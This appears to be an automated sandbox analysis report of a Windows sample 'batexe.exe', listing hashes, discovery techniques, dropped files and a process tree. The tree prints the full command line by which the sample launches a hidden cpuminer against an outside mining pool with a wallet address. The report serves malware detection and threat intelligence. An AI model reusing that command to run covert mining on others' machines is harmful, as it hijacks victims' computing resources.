73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 06:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5748	b2e.exe
2296	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2296	cpuminer-sse2.exe
2296	cpuminer-sse2.exe
2296	cpuminer-sse2.exe
2296	cpuminer-sse2.exe
2296	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1440-27-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 5748	1440	batexe.exe	81
PID 1440 wrote to memory of 5748	1440	batexe.exe	81
PID 1440 wrote to memory of 5748	1440	batexe.exe	81
PID 5748 wrote to memory of 5168	5748	b2e.exe	82
PID 5748 wrote to memory of 5168	5748	b2e.exe	82
PID 5748 wrote to memory of 5168	5748	b2e.exe	82
PID 5168 wrote to memory of 2296	5168	cmd.exe	85
PID 5168 wrote to memory of 2296	5168	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5168
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe

Filesize
9.2MB

MD5
cdae2c8b839e241d83fbf57726460463

SHA1
aeb8ef0d96814704b1fd0af343c6734b62d5f5d3

SHA256
eb0a255fd2c5917c80c95912e39f5c48b80866edd71c2eb4a187cee37c3c0387

SHA512
d55a272189f6de126775094c8b23b779afec9f51240705474388595874480bf038626f1d5480ef5fcc0ab91841f33e166500740c8b3db52ee772c8108aa187d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe

Filesize
3.4MB

MD5
cd704f74c47b2a518f96462c06fcf34d

SHA1
21814c1827028057dc0653b348994d6a389a03f4

SHA256
8a55baa746a12788b9798d78056b68642b5a6a404c92f75cff5a7588fc5a60fb

SHA512
10b9cd3337dc23fa559365e11d1f21e731656de668dd48c4d40786303c2278aabceae1a55b8b575b64707556aaed0d06890dae98865cc71de63c258b568fd71d

Download Submit
C:\Users\Admin\AppData\Local\Temp\F51E.tmp\b2e.exe

Filesize
2.4MB

MD5
bb21704c594b150d67625729caf9a09e

SHA1
1e691355e6968cc069431746ffbecef07853e116

SHA256
66c17bdb3844d2815f16e2d89264de37bea83a8e98071b428a430143d8861f2a

SHA512
a8802e396f97c36ec1a02eb8b1e5d94572b63e133f2e3fcb4d2f5b4249c16a82a402749fb52a9c2e8afae593b50396768a1fc9a07262d223569d40e44ada98de

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
420KB

MD5
a6b8c24b3c8f88650302bc7009896007

SHA1
c257e415aa58a128886c737e66c12d61f27f23f6

SHA256
b526cc86897db113900876d317893fe5dde4be6fbd4e206bcc69ce11ceef7b9e

SHA512
bd6670e631b7e215e21e112fdf1acc6b3f194df70b1433d0146b3f4cf8034abcbf9249743a2f921ddfbdb931352e33aa0431eb8015606b84aada5fdf71c96a56

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
399KB

MD5
25797bafe5923c0fd274a8900c242471

SHA1
7b2a8065b9d7256b3769a5d845f388e39a5de381

SHA256
f09751a1b7fca6b0129413cb727bc4f96aac93217b596925aa4aa015384a5245

SHA512
a10945e2c08cf3cb03f91855ff341c4190784330395a6f7d65d1dc01e1959b8d6a4520d13804eb4cd2889348dc35b2302ccf4f64cc6a8f0485e5ed27b2b7ee08

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
468KB

MD5
1f1d29fdb871360581d92303c8d659ea

SHA1
89c155a53b2c59e9347f58224ae308eea8b2ff94

SHA256
fb57b25c7370d2d3c482241ed70176867b2c5dd021a99caa71b60917340cdda9

SHA512
ec6cd0b6f993ee6aa8af54b00150da3b360858fb41915ec89fed61ee51b14b1e32d82110618bb76dcac413d13f8ce727742efb34b45d6f1972b9f5ca06f533fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
373KB

MD5
3135c0b486b3a4ba4c57022a43bf4de8

SHA1
6e25491da2456adca792d69d6eb7aa74c8032272

SHA256
a443fe0040f89cd862a0705b78e6623483ee9574dcf164fffdb57e67d7210cc9

SHA512
c552e3fd6ac1086324ba160caefca38108bcee88f474f78b2eba35b71aa5530dcf38e9e093e88990063db9ab2196de1d1ff71442d808120f9ffd887fc01c7b07

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
279KB

MD5
b439c90c3b1cc8ba1f8059385ae102c7

SHA1
98b1ff970c875bc80df62c7c695d452fec82282d

SHA256
6a1650317e9fc1ca877cc362b223294ee3f6863f933442b03de008ed90e1cd87

SHA512
dcede47681c48aecb3491357abb6e69ee5680ea9a0cfd6442d1dd5adb838479fa41ba635b640e330f0dd00d62a59d2f0664870294b34de0c54138c4f4de88ff2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
539KB

MD5
fb3bf9a27b78e5c47d861a6d4e116515

SHA1
dd0651f8792f3d2ff9ac8879e3946d29229ddd16

SHA256
50dd736d1fa03b50c1f867b82d56b8896259fe4c0e04844eeac61014c8943865

SHA512
5b9c97662fc706d24da66beca59f56db050ecc37dfbcf61f91cb7f217e0a50dac1120bdf5ed479b3940eb45400364dde2c3cbef369373959406bb93c13f9820d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
492KB

MD5
93207c154f09a1710ff55977e7423ebe

SHA1
dd229e929c4f68c6928dd0ee16fa48e77c304dc0

SHA256
78a4ed1f38238480e2bb32407083e5f1842aec82c2f02554ac94e30ec9765a7b

SHA512
ff580bf4e12f59038c40f48475cad521a0d9e8325847011b9f5f53e31d79c6592cd35c11220c54417c3f6e2c4d1b186a954e3128918920e6b51f21ac577db940

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
314KB

MD5
0c971c901463d58c5116bbd0ce79b690

SHA1
999d9722aa999c0cb8d68f4ada3d20dbc4f02aad

SHA256
3f53a5792b11feb3b62a0504c33269a633637ef82745cbb3abc0f88f3c2f790b

SHA512
708d7f0e91e28f69f97583bc748f006e2e5efc0917f73e9b6bac5a2d2d8e9505d5571b502b904170fa7b8e45a58fa6994a188d5f8155141a29dd7d30456f9132

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
353KB

MD5
0dce86927c0b65e1ce527e828c38d80a

SHA1
f176d45a4683d0b3bd976f657936a5927b215be4

SHA256
1fa519cf04080925ed957f7c9af21bee4c7e66fcbf892695a7432f7d8ef9f718

SHA512
0b1badb419954f19514424a392d23029fbf6c0080e05f20acad5182807fd189b89d20a6a2c70ff2f92042534580136fd596cac6cf59a6000cbc8a24ef6f39e9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
314KB

MD5
55c4957b306a718701f05a3996e96720

SHA1
984e24ea7bae684dc3f720c2e06aceb6387498d5

SHA256
78d1bfaf7f7e3e23e7f1796895dd2784e0f7c8883074d5e1d164c5b06e4a3ddc

SHA512
8aeb8305ff7e813a005b9d95d8555b9664fe800860fdb6c8acfb043ec4b8f1e3e0cc0369e829b81a7798c7e94e4abf7b8c589583585e7e784c8fb16328929c3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
479KB

MD5
529fa5fc225d361bcd883d5cef69f202

SHA1
787abc430e0dbd6105662b43912a31d213c675af

SHA256
50c797f93e2b75b62e28a72cd86f0c1122c7771fdcea28870dc6b300b02de4ed

SHA512
443c902a707b54398e2bb2b52b76e64fadf5413406d5987289c653e038851fb01f7dcbcd4665006614b80c2ebc2dcb0b1cac4f960d3fe862850d2341cb1c7135

Download Submit
memory/1440-27-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2296-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2296-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2296-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2296-46-0x00000000635D0000-0x0000000063668000-memory.dmp

Filesize
608KB

Download
memory/2296-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2296-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5748-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5748-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download